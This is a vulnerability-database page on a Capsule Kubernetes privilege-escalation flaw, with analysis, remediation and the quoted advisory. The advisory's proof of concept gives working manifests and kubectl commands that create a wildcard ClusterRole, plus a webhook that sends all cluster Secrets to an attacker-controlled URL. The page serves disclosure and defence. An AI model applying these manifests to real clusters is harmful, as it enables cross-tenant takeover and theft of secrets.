Skip to main content

Capsule EUVDEUVD-2026-33729

| CVE-2026-22872 MEDIUM
Improper Input Validation (CWE-20)
2026-05-28 https://github.com/projectcapsule/capsule GHSA-qjjm-7j9w-pw72
Medium
Disputed · 6.9 Vendor: https://github.com/projectcapsule/capsule
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate as tenant owner
  2. Delivery
    Create TenantResource with ClusterRole in rawItems
  3. Exploit
    Capsule Controller processes RawItems as cluster-admin
  4. Install
    SetNamespace() silently ignored by Kubernetes API
  5. C2
    ClusterRole created cluster-wide
  6. Execute
    Bind ClusterRole to attacker identity
  7. Impact
    Full cluster-admin access achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Exploitation requires two concrete prerequisites: (1) the attacker must hold a Kubernetes identity that has been granted RBAC permission to create TenantResource objects within a Capsule-managed tenant namespace - this is the standard 'tenant owner' role in a Capsule deployment and is not a privileged account, but it is not open to anonymous or arbitrary cluster users; (2) the Capsule Controller must be running with the default capsule-manager-rolebinding ClusterRoleBinding that grants it the cluster-admin ClusterRole - this is the default installation configuration. Exploitation is limited by: the requirement for authenticated access as a tenant owner (not unauthenticated), the attacker being a known/named cluster user, and the potential presence of additional admission controllers (Kyverno, Gatekeeper) that could independently block creation of unexpected cluster-scoped resource kinds. CVSS vector is not provided, so authentication requirements are confirmed from the CVE description and advisory rather than a PR:N/PR:L vector.

Impact

No CVSS vector was provided for this CVE, preventing automated scoring. The vendor rates this advisory (GHSA-qjjm-7j9w-pw72) as High severity. Real-world risk is significant: the attack requires only tenant-owner-level access within a Capsule-managed cluster, a role that is legitimately granted to application teams and is not a privileged internal account. Attack complexity is low once the attacker has that role - no memory corruption, race conditions, or binary exploitation is required. A detailed proof-of-concept is publicly documented in the GitHub advisory, covering both ClusterRole escalation and ValidatingWebhookConfiguration-based secret exfiltration. The persistent nature of the created cluster-scoped resources (they survive TenantResource deletion) elevates severity. Limiting factors are: the attacker must already hold tenant-owner privileges within a Capsule deployment (not network-reachable by anonymous users), and some clusters with restrictive admission controllers (e.g., OPA Gatekeeper, Kyverno) may block the malicious resource kinds. No EPSS score is available and no KEV listing exists, suggesting exploitation has not yet been broadly observed, though the published PoC significantly lowers the exploitation barrier.

Exploit ScenarioDerived

A tenant owner (e.g., user 'bob') with permission to create TenantResource objects in their tenant namespace applies a TenantResource manifest containing a ClusterRole with wildcard permissions in its rawItems field. The Capsule Controller processes the manifest under its cluster-admin identity, calls SetNamespace() which is ignored for the cluster-scoped kind, and successfully creates the malicious ClusterRole cluster-wide. Bob then creates a ClusterRoleBinding binding the new ClusterRole to himself, gaining full cluster-admin access and breaking out of tenant isolation entirely. A publicly documented PoC demonstrates this end-to-end, including a second variant using ValidatingWebhookConfiguration to exfiltrate secrets from all tenants in real time.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 28, 2026

Privilege escalation in Capsule (the Kubernetes multi-tenancy operator) allows authenticated tenant owners to create cluster-scoped resources - including ClusterRole and ValidatingWebhookConfiguration - by embedding them in TenantResource RawItems, bypassing tenant isolation enforced by the platform. The Capsule Controller's default cluster-admin ClusterRoleBinding means it creates whatever resource it is instructed to process, and its attempt to namespace-scope the resource via obj.SetNamespace() is silently ignored by the Kubernetes API for cluster-scoped kinds. A working proof-of-concept is publicly documented in the GHSA advisory; no CISA KEV listing has been issued at time of analysis.

RemediationAI

The primary fix is to upgrade Capsule to version 0.13.0 or later, available at https://github.com/projectcapsule/capsule/releases/tag/v0.13.0. Version 0.13.0 addresses this vulnerability by validating resource scope in the RawItems processing loop so that cluster-scoped resource kinds are rejected before the Controller attempts to create them. As an immediate compensating control, the vendor recommends enabling Impersonation mode for TenantResources (documented at projectcapsule.dev/docs/replications/tenant/#impersonation), which causes the Controller to act under the tenant user's own identity rather than cluster-admin when creating resources - this means cluster-scoped resource creation will fail with a permission denied error as expected. The trade-off of the impersonation workaround is that tenant replication of legitimately needed resources may require explicit RBAC grants. Additionally, platform administrators can deploy a Kyverno or OPA Gatekeeper policy to block creation of TenantResource objects whose rawItems contain cluster-scoped kinds as a defense-in-depth measure. Operators should also audit existing cluster-scoped resources for unexpected Capsule annotations (capsule.clastix.io/tenant) to detect resources already created via this vector.

Affected VersionsENISA

capsule < 0.13.0

Affected Packages

go github.com/projectcapsule/capsule fix: 0.13.0
euvd capsule fix: 0.13.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Capsule is a Kubernetes operator (pkg:go/github.com_projectcapsule_capsule) that provides multi-tenancy primitives, including TenantResource objects that allow tenant owners to template and replicate resources across their namespaces. The vulnerable code path is in internal/controllers/resources/processor.go, function HandleSection() (lines 247-285). The root cause is CWE-20 (Improper Input Validation): the RawItems loop deserializes arbitrary user-supplied YAML/JSON using codecFactory.UniversalDeserializer().Decode() with no check on whether the resulting resource is namespace-scoped or cluster-scoped. The subsequent obj.SetNamespace(ns.Name) call is a non-functional guard - for cluster-scoped Kubernetes resource kinds (ClusterRole, ValidatingWebhookConfiguration, CRD, StorageClass, etc.), the Kubernetes API server discards the metadata.namespace field entirely. The Controller's ServiceAccount is bound to the cluster-admin ClusterRole via the capsule-manager-rolebinding ClusterRoleBinding by default, so createOrUpdate() succeeds for any resource kind the API server accepts.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Sources disagree (Medium–Critical)
Vendor (https://github.com/projectcapsule/capsule) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P
SUSE CRITICAL

vuln.today treats the vendor’s rating as authoritative. A higher third-party CVSS (e.g. CISA-ADP) is shown for transparency but does not drive the headline severity.

CVSS VectorVendor: https://github.com/projectcapsule/capsule

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
High
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

1
CVSS changed
Jun 01, 2026 - 19:22 NVD
6.9 (MEDIUM)

DescriptionCVE.org

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

Summary

The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.

---

Details

Vulnerability Location

File: internal/controllers/resources/processor.go Function: HandleSection() Lines: 247-285

Core Issues

  1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole
yaml
# ClusterRoleBinding: capsule-manager-rolebinding
   roleRef:
     kind: ClusterRole
     name: cluster-admin
  1. Missing Resource Scope Validation: Although the code calls obj.SetNamespace(ns.Name), this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field
  2. Missing Resource Type Validation: No check for whether resources are cluster-scoped

Vulnerable Code Analysis

go
// internal/controllers/resources/processor.go
for rawIndex, item := range spec.RawItems {
    template := string(item.Raw)

    t := fasttemplate.New(template, "{{ ", " }}")
    tmplString := t.ExecuteString(map[string]interface{}{
        "tenant.name": tnt.Name,
        "namespace":   ns.Name,
    })

    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex}

    // Issue 1: Accepts any resource type, including cluster-scoped resources
    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(
        []byte(tmplString), nil, &obj); decodeErr != nil {
        log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, decodeErr)
        continue
    }

    // Issue 2: For cluster-scoped resources, this setting is ignored by API
    obj.SetNamespace(ns.Name)

    // Issue 3: Controller creates with cluster-admin privileges, no scope check
    if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil {
        log.Info("unable to sync rawItem", keysAndValues...)
        syncErr = errors.Join(syncErr, rawErr)
    }
}

Attack Chain

Tenant Owner (bob) - Has TenantResource creation permission
  ↓
Creates TenantResource containing cluster-scoped resources
  ↓
Capsule Controller (cluster-admin) processes RawItems
  ↓
obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)
  ↓
Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)
  ↓
Cross-tenant privilege escalation / Cluster-level attacks

---

PoC

Environment Setup

Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)

Step 1: Verify Capsule Controller Privileges
bash
kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml

Confirm output contains:

yaml
roleRef:
  kind: ClusterRole
  name: cluster-admin
# Controller has full cluster management privileges
Step 2: Install Capsule and Create Test Tenant

Complete Capsule installation and tenant creation following previous environment setup steps.

Step 3: Verify bob's Permission Restrictions

Verify bob can create TenantResource:

bash
kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1

Actual output:

yes

Verify bob cannot create ClusterRole:

bash
kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io'

no

Verify bob cannot create ValidatingWebhook:

bash
kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev

Actual output:

Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io'

no

Attack Vector 1: Creating Malicious ClusterRole

Step 4: Create TenantResource Containing ClusterRole

Create file attack-clusterrole.yaml:

yaml
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-clusterrole
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: rbac.authorization.k8s.io/v1
          kind: ClusterRole
          metadata:
            name: malicious-clusterrole
          rules:
          - apiGroups: ["*"]
            resources: ["*"]
            verbs: ["*"]

Apply configuration as bob user (critical - must specify executor):

bash
kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-clusterrole created

Important: The --as bob --as-group projectcapsule.dev parameters are crucial for proving that bob (not the cluster admin) is executing this attack.

Step 5: Verify ClusterRole Creation
bash
kubectl get clusterrole malicious-clusterrole

Actual output:

NAME                    CREATED AT
malicious-clusterrole   2026-01-05T16:10:02Z

View details:

bash
kubectl get clusterrole malicious-clusterrole -o yaml

Key output:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    capsule.clastix.io/tenant: tenant-b
  name: malicious-clusterrole
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.

Step 6: Exploit ClusterRole for Cross-Tenant Attack

Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:

yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: bob-cluster-admin
subjects:
- kind: User
  name: bob
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: malicious-clusterrole
  apiGroup: rbac.authorization.k8s.io

After applying, bob will have full cluster management privileges and can access resources of all tenants.

Attack Vector 2: Creating Malicious ValidatingWebhook

Step 7: Create TenantResource Containing Webhook

Create file attack-webhook.yaml:

yaml
apiVersion: capsule.clastix.io/v1beta2
kind: TenantResource
metadata:
  name: create-webhook
  namespace: tenant-b-ns1
spec:
  resyncPeriod: 60s
  resources:
    - namespaceSelector:
        matchLabels:
          capsule.clastix.io/tenant: tenant-b
      rawItems:
        - apiVersion: admissionregistration.k8s.io/v1
          kind: ValidatingWebhookConfiguration
          metadata:
            name: malicious-webhook
          webhooks:
          - name: malicious.webhook.com
            clientConfig:
              url: "https://attacker-controlled-server.com/webhook"
            rules:
            - operations: ["CREATE", "UPDATE"]
              apiGroups: [""]
              apiVersions: ["v1"]
              resources: ["secrets"]
            admissionReviewVersions: ["v1"]
            sideEffects: None
            failurePolicy: Ignore

Apply configuration as bob user:

bash
kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev

Actual output:

tenantresource.capsule.clastix.io/create-webhook created
Step 8: Verify Webhook Creation
bash
kubectl get validatingwebhookconfiguration malicious-webhook

Actual output:

NAME                WEBHOOKS   AGE
malicious-webhook   1          5s

Verification Successful: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.

Step 9: Exploit Webhook to Steal Sensitive Data

At this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:

  1. Steal Secret data from all tenants (database passwords, API keys, etc.)
  2. Modify Secret contents
  3. Deny legitimate Secret creation requests, achieving DoS attacks

---

Impact

Affected Scope

This vulnerability affects all Capsule deployments with the following prerequisites:

  1. Capsule Controller runs with cluster-admin privileges (default configuration)
  2. Tenant Owner has permission to create TenantResource

Security Impact

  1. Cross-Tenant Privilege Escalation
  • Create ClusterRole to gain cluster-level privileges
  • Break tenant isolation boundaries
  • Access all resources of other tenants
  1. Large-Scale Sensitive Data Theft
  • Intercept all Secret creation/update requests through malicious Webhook
  • Steal passwords, API keys, certificates, etc. across the entire cluster
  • Real-time monitoring of all tenant sensitive operations
  1. Cluster-Level Denial of Service
  • Deny all API requests through Webhook
  • Make the entire cluster unavailable
  • Impact all tenants
  1. Cluster Pollution
  • Create malicious CRDs
  • Modify StorageClass
  • Impact cluster stability
  1. Persistent Backdoor
  • Created cluster-scoped resources persist
  • Even if TenantResource is deleted, ClusterRole and other resources remain
  • Difficult to detect and remove

Limiting Factors

  1. Requires Tenant Owner privileges
  2. Requires Capsule Controller running with cluster-admin privileges (default configuration)
  3. Some clusters may have additional admission controllers blocking malicious resources

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy